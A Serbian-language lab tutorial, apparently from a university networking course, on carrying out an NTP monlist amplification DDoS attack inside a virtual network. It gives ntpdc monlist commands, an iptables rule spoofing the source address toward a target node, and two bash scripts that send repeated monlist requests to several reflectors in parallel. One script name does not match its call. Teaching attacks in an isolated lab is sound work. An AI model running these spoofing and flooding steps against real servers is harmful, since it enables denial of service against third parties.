======NTP DDoS napad u virtualnoj mreži====== U [[ping_flooding|prethodnom tekstu]] opisan je koncept distribuiranog uskraćivanje usluge napad (//distributed denial of service - DDoS//) korišćenjem //ping flooding// tehnike. //Ping flooding// napad u realnom okruženju nije moguće izvesti zato što na internetu mnoge mreže blokiraju ping saobraćaj (ili makar opcije koje dozvoljavaju DDoS napad). Ipak slični koncepti se koriste sa drugim protokolima, npr. DNS, NTP... Potencijalni napad koristi tri faktora: postoje mnogi javno dostupni serveri koji koriste ove protokole (DNS server, NTP vremenski server). Protokoli koriste UDP protokol i oni podržavaju uvećanje podataka poslatih ka meti. Poslednji faktor omogućava zlonamernom čvoru da pošalje malu količinu saobraćaja ka serveru, koji onda odgovara (ka meti) sa mnogo većom količinom saobraćaja. Neki od najnovijih, registrovanih, DDoS napada su koristili Mrežni Vremenski Protokol (//Network Time Protocol - NTP//). NTP se koristi da bi računar sinhronizovao svoje vreme sa preciznijim vremenskim serverom. Postoji mnogo javnih vremenskih servera. Starije verzije NTP servera dozvoljavaju klijentu da pošalje zahtev za listom nadgledanih podataka koje server beleži. Lista sadrži podatke o, do 600, različitih računara koji su najskorije komunicirali sa serverom. Ova činjenica dozvoljava zlonamernom računaru da pošalje mali zahtev ka NTP serveru, koji će da odgovori sa veoma velikom količinom podataka. Sa izmenjenom adresom izvora i dosta NTP servera, slanje liste može da se iskoristi za veoma efikasan DDoS napad. =====1. Pretpostavke===== Da bi se napad uspešno izveo pretpostavlja se da je virtualna mreža konfigurisana tako da može da se izvede //ping flooding// DoS napad. Pre svega čvorovi moraju da budu konfigurisani koristeći alate ''tcp'' i ''rp_filter''. =====2. Konfigurisanje NTP servera===== //Ping flooding// napad koristi čvorove reflektore da bi poslao mnogo ping odgovora ka čvoru meti. Iako, u teoriji, svi računari na internetu odgovaraju na ICMP Echo zahtev, sigurnosne opcije u mrežama i na uređajima ozbiljno limitiraju broj poruka koje mogu biti poslate na taj način. NTP napad koristi sličan pristup kao i ping flooding, reflektuje poruke sa normalnih računara na Internetu. Ipak, samo računari na kojima je pokrenut NTP server softver su potencijalni kandidati za reflektovanje poruka. Prvo je potrebno da instaliramo NTP server na svim reflektor čvorovima. Takođe, instaliraćemo server i na zlonamernom računaru, ne da bi ga koristili kao server, već da iskoristimo pogodnosti NTP klijent servera. Na čvorovima **node1**, **node3**, **node4**, **node5** i **node6** instaliraćemo NTP server: student@node:~$ sudo apt-get update student@node:~$ sudo apt-get install ntp Na računarima reflektorima (node3, 4, 5 i 6) promenićemo konfiguraciju NTP servera da bi smo dozvolili drugim čvorovima da pristupaju serveru. student@node:~$ sudo nano /etc/ntp.conf Na kraju fajla dodaćemo sledeće linije: server 127.127.1.0 fudge 127.127.1.0 stratum 10 restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap restrict 192.168.2.0 mask 255.255.255.0 nomodify notrap restrict 192.168.3.0 mask 255.255.255.0 nomodify notrap Da bi promene postale aktuelne potrebno je restartovati NTP server: student@node:~$ sudo service ntp restart Stopping NTP server ntpd [ OK ] Starting NTP server ntpd [ OK ] =====3. Testiranje NTP servera===== NTP serveri su konfigurisani dobiju svoje vreme sa vremenskih servera koje pokreće Ubuntu i drugih. Server će takođe odgovoriti drugim čvorovima u virtualnoj mreži ako pošalju zahtev za sinhronizaciju. Testiraćemo da li je sve konfigurisano kako treba sa čvora koji nema svoj NTP server, npr. čvor **node2**: student@node2:~$ sudo ntpdate 192.168.2.21 27 Jan 21:03:45 ntpdate[2710]: step time server 192.168.2.21 offset 3491.154173 sec Komanda usklađuje vreme na čvoru **node2** sa onim na čvoru **node3** (NTP server). =====4. Traženje liste podataka===== NTP DDoS se izvodi tako što klijent pošalje zahtev za listu podataka koju je NTP server prikupio. Da bi se takav zahtev poslao može da se koristi NTP klijent koji postaje dostupan instalacijom NTP servera (zato smo i instalirali NTP server na čvoru **node1**). Sa čvora **node1** pokrećemo komandu: student@node1:~$ sudo ntpdc -n -c monlist 192.168.2.21 remote address port local address count m ver rstr avgint lstint =============================================================================== 91.189.94.4 123 10.0.2.15 44 4 4 1d0 99 4 203.158.111.32 123 10.0.2.15 47 4 4 1d0 92 11 203.158.111.11 123 10.0.2.15 44 4 4 1d0 99 12 202.28.214.2 123 10.0.2.15 48 4 4 1d0 92 19 203.158.118.2 123 10.0.2.15 48 4 4 1d0 92 145 192.168.2.1 123 192.168.2.21 8 3 4 180 554 278 Podaci koji su prikazani pretstavljaju statističke podatke o računarima koji su skorije komunicirali sa NTP serverom na čvoru **node3**. Maksimalno 600 redova će biti poslato. U ovom primeru je poslato samo 6 redova, koji uključuju i čvor **node2** koji je skorije sinhronizovao časovnik. Slanjem zahteva za sinhronizaciju ka NTP Serveru sa drugih čvorova ova lista može da postane veća. =====5. Osnovni NTP DoS napad===== Sada posedujemo sve mehanizme da bi smo izveli osnovni NTP DoS napad ka računaru meti. Kao i u //ping flooding// napadu, postavićemo lažnu adresu izvora na zlonamernom čvoru i aktivirati zahtev za listom podataka koristeći alat ntpdc. U //ping flooding// napadu lažna adresa izvora je bila postavljena za ICMP pakete, a u NTP napadu biće postavljena za UDP pakete: student@node1:~$ sudo iptables -t nat -A POSTROUTING -p udp -j SNAT --to-source 192.168.3.31 Koristeći alat ''tcpdump'' na različitim čvorovima možemo videti gde se kreće paket sa zahtevom i gde se prosledjuje odgovor. Da bi smo videli koji su sve paketi poslati ka čvoru **node8** možemo aktivirati ''tcpdump'' na čvoru **node7**. =====6. NTP DDoS napad===== Potrebno je da naš NTP klijent (čvor **node1**) neprestano šalje NTP zahteve za listom podataka ka više reflektora istovremeno da bi efikasno izveli DoS napad. To možemo postići kreiranjem dve skripte. Prva skripta je ''ntpsalji''. Ona šalje NTP zahtev ka više NTP servera paralelno. #!/bin/bash # Skripta ntpsalji # Salje NTP zahtev ka vise NTP servera args=$# for (( j=1; j<=$args; j++ )); do ntpdc -n -c monlist $1 > /dev/null & shift; done Druga skripta (''ntpponovi'') koristi ''ntpsalji'' da neprestano šalje NTP zahteve ka više NTP servera. #!/bin/bash # Skripta ntpponovi # Neprestano salje NTP zahteve ka vise NTP servera interval=$1 shift; n=$1 shift; for (( i=1; i<=$n; i++ )); do bash ntpmany "$@" > /dev/null & sleep $interval done Obe skripte treba zapamtiti na čvoru **node1**. Takođe, potrebno je podesiti ovlašćenja tako da se skripte mogu izvršiti: student@node1:~$ chmod u+x ntpsalji ntpponovi Skripta ''ntpponovi'' kao argumente komandne linije prima sledeće parametre: *interval izveđu ponovnog slanja NTP zahteva ka svakom NTP serveru (u sekundama), *broj zahteva koje treba poslati ka svakom NTP serveru, *lista IP adresa NTP servera U našem slučaju: student@node1:~$ sudo ./ntpponovi 0.1 100 192.168.2.21 192.168.2.22 192.168.2.23 192.168.2.24 =====7. Naredni koraci===== Ostaje da se izvrši NTP DDoS napad u virtualnoj mreži, dalje analizira kako on radi i kako se može povećati saobraćaj ka meti. Alatom ''tcpdump'' može da se analizira veličina paketa koja se šalje od zlonamernog računara ka serverima i paketa koje prima čvor **node7** (samim tim i **node8**). Kada se u potpunosti razume kako napad radi može se razmišljati i o koracima ka sprečavanju ovog i sličnih DDoS napada.